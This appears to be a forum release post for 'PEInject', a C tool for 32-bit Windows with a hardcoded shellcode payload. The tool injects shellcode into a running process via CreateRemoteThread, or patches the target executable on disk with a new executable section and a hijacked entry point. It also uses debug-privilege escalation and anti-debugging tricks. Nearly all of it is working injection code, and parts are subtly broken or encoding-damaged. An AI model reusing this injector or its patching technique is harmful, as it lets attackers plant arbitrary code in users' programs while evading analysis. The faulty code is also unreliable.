32-bit PE injector

I am releasing my new tool PEInject, It does inject some shellcodes into a desired process .
Currently , it does only work with 32-bit executables , please don't expect it to work flawlessly on all targets. It may fail if the target is loaded with /DYNAMICBASE module or DEP is permanently active on it.
On Windows XP it allocates enough room for the shellcode and executes it with 'CreateRemoteThread'. Because On Windows Vista/Win7/Win8.1 the'CreateRemoteThread' does not work smoothly due to some additional protection mechanisms ,so the injector creates an extra section named "L0phtTN" and loads it with a shellcode and then jumps back to the OEP .

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


// simple shellcode that displays msgBox  "Pwned by l0pht_TN" preceded by pushad and followed popad and jmp opcodes

static  char  l0phtTN_shellcode[] =
    "\x60\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
    "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
    "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
    "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
    "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
    "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
    "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
    "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
    "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
    "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
    "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
    "\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"
    "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
    "\xe8\x61\xff\xff\xff\x68\x64\x21\x21\x58\x68\x70\x77\x6e\x65"
    "\x31\xdb\x88\x5c\x24\x07\x89\xe3\x68\x4e\x58\x20\x20\x68\x70"
    "\x68\x74\x54\x68\x6f\x20\x4c\x30\x68\x74\x7a\x20\x74\x68\x47"
    "\x72\x65\x65\x31\xc9\x88\x4c\x24\x11\x89\xe1\x31\xd2\x52\x53"
    "\x51\x52\xff\xd0\x31\xc0\x50\x61\xe9";    // put \xff\x55\x08 before /0x61 / 0xe9 if you desire to exitprocess() and not return to the OEP

/*
the following func adds a section named "L0phtTN" to the desired target .
if the executable(target) is packed , or ASLR and DEP are active on it
then the process injection would fail !!
*/
BOOL AddL0phtTnSection(char * path )
{
    // load the target
    HANDLE target =  CreateFile(path, GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE  ,NULL,OPEN_EXISTING,NULL,NULL);
    if(target ==  INVALID_HANDLE_VALUE )
    {
        perror("Error in CreateFile()");
        ExitProcess(-1);

    }
    DWORD  target_size = 0 ;
// get the executable's size
    target_size =  GetFileSize(target,0);
    if(target_size == 0)
    {
        perror("Error in GetFileSize()");
        ExitProcess(-1);
    }

    IMAGE_DOS_HEADER IDH ;
    unsigned int n = 0 ;
    //read the DOS_header
    if(!ReadFile(target,&IDH,sizeof(IMAGE_DOS_HEADER),&n,NULL))
    {
        perror("Error in ReadFile() (IMAGE_DOS_HEADER) ");
        ExitProcess(-1);
    }
    // checks whether is is a valid executable
    if(IDH.e_magic != IMAGE_DOS_SIGNATURE)
    {
        perror("invalid DOS signture");
        ExitProcess(-1);
    }

    IMAGE_NT_HEADERS INH = {0};
    //sets the file pointer to the begginning of the NT header using e_lfanew value (which in turn points to it)
    SetFilePointer(target,IDH.e_lfanew,NULL,FILE_BEGIN);
    //now reaad the NT_header
    if(!ReadFile(target,&INH,sizeof(IMAGE_NT_HEADERS),&n,NULL))
    {
        perror("Error in ReadFile() (IMAGE_NT_HEADERS)");
        ExitProcess(-1);
    }
    //checks its signature  (0x4550 if is valid )
    if(INH.Signature != IMAGE_NT_SIGNATURE)
    {
        perror("invalid NT signature ");
        ExitProcess(-1);
    }
    //read the number of sections
    DWORD  Number_Sections = INH.FileHeader.NumberOfSections ;
    //now points to the last section
    SetFilePointer(target,IDH.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * (Number_Sections -1 ) ) ,NULL,FILE_BEGIN);
    IMAGE_SECTION_HEADER last_section = {0};
    //get the last section
    ReadFile(target,&last_section,sizeof(IMAGE_SECTION_HEADER),&n,NULL) ;
    //allocate enough space to store the whole executable
    BYTE * myfile = (BYTE *)malloc(sizeof(BYTE) * target_size);
    Sleep(500) ;
    //points to the beggining of the target
    SetFilePointer(target,0,NULL,FILE_BEGIN);
    //store the whole target in myfile variable
    ReadFile(target,myfile,target_size,&n,NULL);
    Sleep(500);
    // ISH is pointer to the end of the last section
    PIMAGE_SECTION_HEADER ISH =  ( PIMAGE_SECTION_HEADER )(myfile + IDH.e_lfanew+sizeof(IMAGE_NT_HEADERS)+(sizeof(IMAGE_SECTION_HEADER) * Number_Sections) );
    // PINH points to the NT_Header
    PIMAGE_NT_HEADERS PINH = ( PIMAGE_NT_HEADERS )(myfile + IDH.e_lfanew );
    // put the new section's name ...replace it with your desired section's name
    strncpy(ISH->Name,"L0phtTN",8);
    // sets the Characteristics of the new section to (read , write , execute ) and initialized just in case for relocation stufff
    ISH->Characteristics = ( IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE );
    // align the value of SizeOfRawData based FileAlignment value of the target
    ISH->SizeOfRawData = (0X1000 % INH.OptionalHeader.FileAlignment == 0 )? 0X1000 :((0X1000/INH.OptionalHeader.FileAlignment+1) * INH.OptionalHeader.FileAlignment )  ;
    // align the beggining of the new section when it on the HD
    ISH->PointerToRawData = (last_section.SizeOfRawData % INH.OptionalHeader.FileAlignment == 0 )?(last_section.SizeOfRawData+last_section.PointerToRawData):(last_section.PointerToRawData + (last_section.SizeOfRawData/INH.OptionalHeader.FileAlignment+1)*INH.OptionalHeader.FileAlignment);
    // align the size , when is loaded into the memory
    ISH->Misc.VirtualSize = (0x1000 % INH.OptionalHeader.SectionAlignment == 0) ? 0x1000 :((0x1000/INH.OptionalHeader.SectionAlignment + 1) * INH.OptionalHeader.SectionAlignment) ;
    // align the VirtualAddress when loaded into the memory
    ISH->VirtualAddress =(last_section.Misc.VirtualSize % INH.OptionalHeader.SectionAlignment == 0)?(last_section.Misc.VirtualSize + last_section.VirtualAddress):(last_section.VirtualAddress+ (last_section.Misc.VirtualSize/INH.OptionalHeader.SectionAlignment +1)*INH.OptionalHeader.SectionAlignment);
    // increments the NumberOfSections' value
    PINH->FileHeader.NumberOfSections++;
    // SizeOfImage's value must be increased by section's VirtualSize value
    PINH->OptionalHeader.SizeOfImage = ISH->VirtualAddress + ISH->Misc.VirtualSize ;

    SetFilePointer(target,ISH->SizeOfRawData +ISH->PointerToRawData,NULL,FILE_BEGIN);
    SetEndOfFile(target) ;
    SetFilePointer(target,0,NULL,FILE_BEGIN);
    if( !WriteFile(target,myfile,target_size,&n,NULL) || n != target_size )
    {
        perror("could not write into the executable ");
        return FALSE;
    }
    CloseHandle(target);
    // the function which is responsible for shellcode injection
    puts("New section Added ");
    InjectShellcode(path,ISH->VirtualAddress,ISH->PointerToRawData,l0phtTN_shellcode,sizeof(l0phtTN_shellcode)+30);
    Sleep(500) ;
    return TRUE ;
}


BOOL CheckProcess(DWORD pid )
{
    PROCESSENTRY32 current_process ;
    HANDLE proc_list ;
    //
    // DWORD priority ;

    proc_list = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ;
    if( proc_list == INVALID_HANDLE_VALUE )
    {

       return FALSE ;
    }

    current_process.dwSize = sizeof(PROCESSENTRY32);

    if(!Process32First(proc_list,¤t_process))
    {

        perror("error in Process32First \n");
        return FALSE ;
    }

    while(1)
    {
        if((DWORD)pid == current_process.th32ProcessID )
        {

            return  TRUE ;
        }

        if(!Process32Next(proc_list,¤t_process))
            break ;
    }

    CloseHandle(proc_list) ;
    return FALSE ;
}
/*
according to MSDN : "The debug privilege allows someone to debug a process that they wouldn’t otherwise have access to.
For example, a process running as a user with the debug privilege enabled on its token can debug a service running as local system."
for more information :
 http://msdn.microsoft.com/en-us/library/windows/hardware/ff541528(v=vs.85).aspx
*/
BOOL GetDebugPrivileges(void)
{
    HANDLE token;
    TOKEN_PRIVILEGES priv;
    BOOL ret = FALSE;

    if (OpenProcessToken(GetCurrentProcessId(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &token))
    {
        priv.PrivilegeCount = 1;
        priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE)
        {
            ret = TRUE;
        }
        CloseHandle(token);
    }
    return ret;
}
static DWORD Target_Base_addr  = 0;

char * GetTargetPath(DWORD pid)
{
    MODULEENTRY32 current;

    HANDLE snapshot;

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
    if (snapshot == INVALID_HANDLE_VALUE)
    {
        fprintf(stderr,"error in CreateToolhelp32Snapshot");
        ExitProcess(-1) ;
    }

    current.dwSize = sizeof(MODULEENTRY32);
    if(!Module32First(snapshot,¤t))
    {
        fprintf(stderr,"error in Module32First");
        ExitProcess(-1) ;
    }
    while(1)
    {
        if(current.th32ProcessID == pid)
        {
            char * mpath = (char *)malloc(sizeof(char) * strlen(current.szExePath)+1);
            // printf("%s",current.szExePath);
            *(mpath + strlen(current.szExePath)) = '\0' ;
            //copy the path of executable
            memcpy(mpath,¤t.szExePath,sizeof(char) * strlen(current.szExePath));
            //get the baseadress of the target
            Target_Base_addr = current.modBaseAddr ;
            return mpath;
        }

        if(!Module32Next(snapshot,¤t))
            break ;

    }
    CloseHandle(snapshot) ;
    return NULL ;
}

BOOL InjectShellcode(char * path, DWORD new_entrypoint , DWORD RVA , char * sc, unsigned int shell_size)
{


    HANDLE Inject_Me = CreateFile(path, GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING ,NULL,NULL);
    if(Inject_Me == INVALID_HANDLE_VALUE )
    {
        fprintf(stderr ,"error while injecting the shellcode !");
        ExitProcess(-1) ;
    }
    IMAGE_DOS_HEADER IDH = {0} ;
    IMAGE_NT_HEADERS INH = {0} ;
    //where the return adress must be stored
    int ret = 0;
    int a ;
    char cret[30];
    memset(cret,(int)'\0',30);
    if( !ReadFile(Inject_Me,&IDH,sizeof(IMAGE_DOS_HEADER),&a,FILE_BEGIN))
    {
        perror("readfile() error 1");
        exit(-1) ;
    }
    char jmp_to_entrypoint[sizeof(l0phtTN_shellcode) + 30];
    memset(jmp_to_entrypoint,(int)'\0',sizeof(l0phtTN_shellcode) + 30);
// points to the beggining of NT_section
    SetFilePointer(Inject_Me,IDH.e_lfanew , NULL , FILE_BEGIN);
    /// puts the content of the NT-section into INH struct
    ReadFile(Inject_Me,&INH,sizeof(IMAGE_NT_HEADERS),&a,FILE_BEGIN);
    printf("\n  Original EntryPoint :%X \n ",INH.OptionalHeader.AddressOfEntryPoint);
    ret = INH.OptionalHeader.AddressOfEntryPoint  + INH.OptionalHeader.ImageBase ;
    // Because the jmp instruction encodes the next 5 opcodes like (the following : OEP - current adress ) - 5
    //
    ret =  (INH.OptionalHeader.AddressOfEntryPoint - (new_entrypoint + strlen(l0phtTN_shellcode) - 1 ) - 5 ) ;  // just to calculate the return address
    // fill cret array with return adress in little endian format  !!
    sprintf(cret," Return Adress : %0.2x%0.2x%0.2x%0.2x",( (ret << 16 )&0x00ff0000) >> 16 ,((ret << 8 )&0x00ff0000 ) >> 16 ,(ret >> 16 )&0x000000ff ,(ret >> 24 )& 0x000000ff );
    // puts(cret);
    //
    memcpy(jmp_to_entrypoint,l0phtTN_shellcode,strlen(l0phtTN_shellcode));
    // change the entry point of the target to virtual address of the L0phtTn section
    INH.OptionalHeader.AddressOfEntryPoint = new_entrypoint ;
    // replace the modified nt_section
    SetFilePointer(Inject_Me,IDH.e_lfanew,NULL,FILE_BEGIN);
    // replace the modified nt_section
    WriteFile(Inject_Me,&INH,sizeof(IMAGE_NT_HEADERS),&a,FILE_BEGIN);
    unsigned int isread = 0 ;

    SetFilePointer(Inject_Me,RVA,NULL,FILE_BEGIN);

    if(!WriteFile(Inject_Me,&jmp_to_entrypoint,shell_size,&isread,NULL) || isread != shell_size )
    {
        perror("cannot inject (WriteFile)");
        ExitProcess(-1) ;
    }
    // sets the file pointer to end of the shellcode
    SetFilePointer(Inject_Me,RVA+strlen(l0phtTN_shellcode)  ,NULL,FILE_BEGIN) ;
    //and append it with the new return address
    WriteFile(Inject_Me,&ret,sizeof(long long),&isread,NULL);
    return TRUE ;
}
int Is_It_Debugged = 0 ;
int main(int argc, char **argv)
{

    HANDLE my_exe ;
    IMAGE_DOS_HEADER IDH;
    DWORD pid = 0;
    HANDLE target;

    DWORD nbytes;
    IMAGE_NT_HEADERS INH;
    // get the TIB (thread information block )
    asm("mov eax, dword ptr fs:[0x18]");
    // get the PEB (process information block)
    asm("mov eax, dword ptr ds:[eax+0x30]");
    // get the beingDebugger flag
    asm("movzx eax, byte ptr ds:[eax+0x2]");

    asm("mov _Is_It_Debugged, eax");

    if (Is_It_Debugged == 1)
    {
        ExitProcess(-1) ;
    }
     pid = atoi(argv[1]) ;
    if( argc != 2 || pid  ==  0)
    {
        fprintf(stdout," \nUsage : %s  \n",argv[0]);
        exit(-1);
    }

    printf("%d\n",pid);
   // Sleep(500);
    // check if the target is running
    if(CheckProcess(pid) == FALSE)
    {
        fprintf(stderr," \n %d not found on the list \n",pid);
        ExitProcess(-1) ;
    }
    printf("passed");
    // get path of the target (executable )
    char * pathh =  GetTargetPath(pid);
    //just in case when the anti-debug is bypassed ,the debugger is still get fooled by the anti-tracing (int 2d )
/*
    if(Is_It_Debugged == 1)
    {
        asm("pushad");
        asm("int 0x2d");
    }
*/
    // debug privileges are badly needed to get the processes running list without some issues
    GetDebugPrivileges();
    //checks if it is running under XP

    if(((int)(GetVersion() & 0x000000ff)) == 5 )
    {

        if(Target_Base_addr == 0 )
        {
            fprintf(stderr," could not get the base adress of the process \n");
            ExitProcess(-1) ;
        }
        printf("\n 0x%X \n",Target_Base_addr);
        //open the target's process
        if((my_exe = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) == INVALID_HANDLE_VALUE )
        {
            fprintf(stderr," process not found ");
            ExitProcess(-1);
        }
        //read the DOS_header
        if(!ReadProcessMemory(my_exe,Target_Base_addr,&IDH,sizeof(IMAGE_DOS_HEADER),&nbytes)  || nbytes !=  sizeof(IMAGE_DOS_HEADER) || IDH.e_magic != 0x5a4d )
        {
            fprintf(stderr,"\n error in ReadProcessMemory() \n");
            ExitProcess(-1) ;
        }
        //read the NT_heaader
        if(!ReadProcessMemory(my_exe,(Target_Base_addr+(DWORD)IDH.e_lfanew),&INH,sizeof(IMAGE_NT_HEADERS),&nbytes) || nbytes != sizeof(IMAGE_NT_HEADERS) || INH.Signature != IMAGE_NT_SIGNATURE)
        {
            fprintf(stderr,"\n error in reading the IMAGE_NT_HEADERS \n");
            ExitProcess(-1) ;
        }
        LPVOID shell_addr = NULL ;
        //check if there is enough room for the shellcode
        shell_addr =  VirtualAllocEx(my_exe,0,sizeof(l0phtTN_shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE) ;
        if(shell_addr == NULL )
        {
            fprintf(stderr,"something aint right with virtualallocEx");
            ExitProcess(-1);
        }
        //store the L0phtTn shellcode
        if(!WriteProcessMemory(my_exe,shell_addr,l0phtTN_shellcode,sizeof(l0phtTN_shellcode),&nbytes) && nbytes != sizeof(l0phtTN_shellcode) )
        {
            fprintf(stderr ,"cannot write into memory !");
            ExitProcess(-1);
        }

        HANDLE r_handle ;
        // trigger the shellcode
        r_handle =  CreateRemoteThread(my_exe,NULL,0,(LPTHREAD_START_ROUTINE)shell_addr,0,0,0) ;
        if(r_handle == INVALID_HANDLE_VALUE )
        {
            puts("cannot execute shellcode !!");
            ExitProcess(-1);
        }
        exit(0) ;
    }
    else
    {

        char * tokill = (char * )malloc(sizeof(char) * 24);
        //the target must be closed in order to add the new section !!
        sprintf(tokill,"taskkill /F /IM %d",pid);
        *(tokill + 23) = '\0' ;
        system(tokill);
        AddL0phtTnSection(pathh);
        Sleep(500) ;

    }
    system("pause");
    return 0 ;
}